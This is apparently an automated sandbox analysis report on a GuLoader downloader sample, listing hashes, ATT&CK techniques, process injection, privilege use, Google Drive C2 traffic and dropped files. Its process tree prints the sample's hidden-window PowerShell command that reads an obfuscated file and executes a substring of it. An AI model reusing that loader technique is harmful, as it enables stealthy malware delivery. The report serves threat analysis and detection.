guloader | be0fbc1afbc35ae095067c50dbd7cbc61451663c3d9821377bb15febcdfbcf50

Analysis

max time kernel
145s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11-01-2025 04:59

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General

Target

be0fbc1afbc35ae095067c50dbd7cbc61451663c3d9821377bb15febcdfbcf50.exe
Size

669KB
MD5

cdde73a8f16b1279010f660e5ab67903
SHA1

9257099b42e772eed82b5e488d44fe7422a8c43d
SHA256

be0fbc1afbc35ae095067c50dbd7cbc61451663c3d9821377bb15febcdfbcf50
SHA512

c99a18aafa31dd36c3884d65b67116eeadcd4f3c629ad75ec4733c48af2666c46ff99cb5a3dfe9632f8ae27960fc335b3a95314b2a819597f717f8be9b3cee7f
SSDEEP

12288:Y2QJ9o2sW3B9o2G2/6SkwBUuUGL75w03eB9iDyZ/oDck6qlVhyWjX53XObV:Yv9o2sW3B9oV2iSkwBUuV7+3B9ifrlVY

Score

10^/10

guloader discovery downloader execution

Malware Config

Signatures

Guloader family
guloader
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3688	powershell.exe

Blocklisted process makes network request 5 IoCs

flow	pid	Process
17	2292	msiexec.exe
19	2292	msiexec.exe
21	2292	msiexec.exe
25	2292	msiexec.exe
27	2292	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
16	drive.google.com
17	drive.google.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3688	powershell.exe
2292	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\Macroblast\affejendes.tid	be0fbc1afbc35ae095067c50dbd7cbc61451663c3d9821377bb15febcdfbcf50.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	be0fbc1afbc35ae095067c50dbd7cbc61451663c3d9821377bb15febcdfbcf50.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3688	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3688	powershell.exe
Token: SeIncreaseQuotaPrivilege	3688	powershell.exe
Token: SeSecurityPrivilege	3688	powershell.exe
Token: SeTakeOwnershipPrivilege	3688	powershell.exe
Token: SeLoadDriverPrivilege	3688	powershell.exe
Token: SeSystemProfilePrivilege	3688	powershell.exe
Token: SeSystemtimePrivilege	3688	powershell.exe
Token: SeProfSingleProcessPrivilege	3688	powershell.exe
Token: SeIncBasePriorityPrivilege	3688	powershell.exe
Token: SeCreatePagefilePrivilege	3688	powershell.exe
Token: SeBackupPrivilege	3688	powershell.exe
Token: SeRestorePrivilege	3688	powershell.exe
Token: SeShutdownPrivilege	3688	powershell.exe
Token: SeDebugPrivilege	3688	powershell.exe
Token: SeSystemEnvironmentPrivilege	3688	powershell.exe
Token: SeRemoteShutdownPrivilege	3688	powershell.exe
Token: SeUndockPrivilege	3688	powershell.exe
Token: SeManageVolumePrivilege	3688	powershell.exe
Token: 33	3688	powershell.exe
Token: 34	3688	powershell.exe
Token: 35	3688	powershell.exe
Token: 36	3688	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 856 wrote to memory of 3688	856	be0fbc1afbc35ae095067c50dbd7cbc61451663c3d9821377bb15febcdfbcf50.exe	83
PID 856 wrote to memory of 3688	856	be0fbc1afbc35ae095067c50dbd7cbc61451663c3d9821377bb15febcdfbcf50.exe	83
PID 856 wrote to memory of 3688	856	be0fbc1afbc35ae095067c50dbd7cbc61451663c3d9821377bb15febcdfbcf50.exe	83
PID 3688 wrote to memory of 2292	3688	powershell.exe	91
PID 3688 wrote to memory of 2292	3688	powershell.exe	91
PID 3688 wrote to memory of 2292	3688	powershell.exe	91
PID 3688 wrote to memory of 2292	3688	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\be0fbc1afbc35ae095067c50dbd7cbc61451663c3d9821377bb15febcdfbcf50.exe
"C:\Users\Admin\AppData\Local\Temp\be0fbc1afbc35ae095067c50dbd7cbc61451663c3d9821377bb15febcdfbcf50.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:856
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Rapportudskrifter=Get-Content -raw 'C:\Users\Admin\AppData\Local\downrange\Stutteriers\samfrdselen\Resultatopgrelses186\Sidelbende.Kar';$Stormogulernes=$Rapportudskrifter.SubString(56424,3);.$Stormogulernes($Rapportudskrifter)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3688
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\syswow64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:2292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pxusfiyr.4mi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\downrange\Stutteriers\samfrdselen\Resultatopgrelses186\Sidelbende.Kar

Filesize
55KB

MD5
57c63a0ab9d88e2b534816f9a1f1dc63

SHA1
a0baa5d70fa61fbbb4c41f76b67a71c5356dbc06

SHA256
501abd115bc94a28b8eda5115ada6c9898f2142ba2d4d751d8e34ed50c59a21c

SHA512
97e311a42c02e6aee32d0d07f5a5fe0781e0dcf5aa71ac6420094134c1d6e2831d76e57a15cd26b9e5032813cadd338101542ddeba74bd991a0f35e378a886be

Download Submit
C:\Users\Admin\AppData\Local\downrange\Stutteriers\samfrdselen\Resultatopgrelses186\Unapprovableness.Rep

Filesize
326KB

MD5
dd9b0a705db5c59511678ca31267fc96

SHA1
fcbd759be62f3f9d194bec03049d58850390b25d

SHA256
24cd180cd81c342180876a44115f6c7949743a5fb64a4769161be3a9adb1d659

SHA512
3f79bd6afa967ef812cbc2c7c7fd3967c44a94e688713d74ee0463f9ed6933fce0c228763c204b23a3fbb475d102708b48f85f6b36122a1ffcf21cb16a52370d

Download Submit
memory/2292-76-0x0000000001200000-0x0000000002454000-memory.dmp

Filesize
18.3MB

Download
memory/2292-77-0x0000000002460000-0x0000000002EAC000-memory.dmp

Filesize
10.3MB

Download
memory/2292-63-0x0000000002460000-0x0000000002EAC000-memory.dmp

Filesize
10.3MB

Download
memory/3688-42-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-47-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-12-0x0000000004D60000-0x0000000004DC6000-memory.dmp

Filesize
408KB

Download
memory/3688-22-0x0000000005690000-0x00000000059E4000-memory.dmp

Filesize
3.3MB

Download
memory/3688-24-0x0000000005C20000-0x0000000005C6C000-memory.dmp

Filesize
304KB

Download
memory/3688-23-0x0000000005BE0000-0x0000000005BFE000-memory.dmp

Filesize
120KB

Download
memory/3688-25-0x0000000006BA0000-0x0000000006C36000-memory.dmp

Filesize
600KB

Download
memory/3688-26-0x0000000006130000-0x000000000614A000-memory.dmp

Filesize
104KB

Download
memory/3688-27-0x0000000006180000-0x00000000061A2000-memory.dmp

Filesize
136KB

Download
memory/3688-28-0x0000000007230000-0x00000000077D4000-memory.dmp

Filesize
5.6MB

Download
memory/3688-10-0x0000000004C50000-0x0000000004C72000-memory.dmp

Filesize
136KB

Download
memory/3688-30-0x0000000007E60000-0x00000000084DA000-memory.dmp

Filesize
6.5MB

Download
memory/3688-33-0x0000000070010000-0x0000000070364000-memory.dmp

Filesize
3.3MB

Download
memory/3688-32-0x000000006FEA0000-0x000000006FEEC000-memory.dmp

Filesize
304KB

Download
memory/3688-5-0x0000000073A1E000-0x0000000073A1F000-memory.dmp

Filesize
4KB

Download
memory/3688-31-0x0000000007040000-0x0000000007072000-memory.dmp

Filesize
200KB

Download
memory/3688-44-0x0000000007080000-0x000000000709E000-memory.dmp

Filesize
120KB

Download
memory/3688-46-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-45-0x00000000070B0000-0x0000000007153000-memory.dmp

Filesize
652KB

Download
memory/3688-11-0x0000000004CF0000-0x0000000004D56000-memory.dmp

Filesize
408KB

Download
memory/3688-48-0x00000000071D0000-0x00000000071DA000-memory.dmp

Filesize
40KB

Download
memory/3688-49-0x0000000007920000-0x000000000794A000-memory.dmp

Filesize
168KB

Download
memory/3688-50-0x0000000007950000-0x0000000007974000-memory.dmp

Filesize
144KB

Download
memory/3688-51-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-53-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-7-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-55-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-57-0x0000000073A1E000-0x0000000073A1F000-memory.dmp

Filesize
4KB

Download
memory/3688-56-0x00000000084E0000-0x0000000008F2C000-memory.dmp

Filesize
10.3MB

Download
memory/3688-58-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-59-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-60-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-61-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-62-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-9-0x0000000073A10000-0x00000000741C0000-memory.dmp

Filesize
7.7MB

Download
memory/3688-8-0x0000000005060000-0x0000000005688000-memory.dmp

Filesize
6.2MB

Download
memory/3688-6-0x0000000000A40000-0x0000000000A76000-memory.dmp

Filesize
216KB

Download